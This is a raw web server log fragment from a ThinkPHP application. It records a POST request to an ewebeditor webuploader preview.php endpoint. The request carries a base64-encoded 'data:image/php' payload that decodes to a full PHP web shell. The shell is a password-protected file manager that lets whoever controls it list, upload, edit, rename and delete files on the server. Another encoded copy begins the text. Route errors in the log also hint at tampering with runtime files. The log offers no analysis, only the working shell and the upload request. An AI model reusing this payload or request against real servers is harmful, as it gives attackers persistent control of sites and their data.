5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:54+08:00 ] 119.42.146.234 POST 59.110.137.245/ewebeditor/webuploader/0.1.15/server/preview.php [运行时间:0.002762s] [吞吐率:362.05req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'ewebeditor', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyA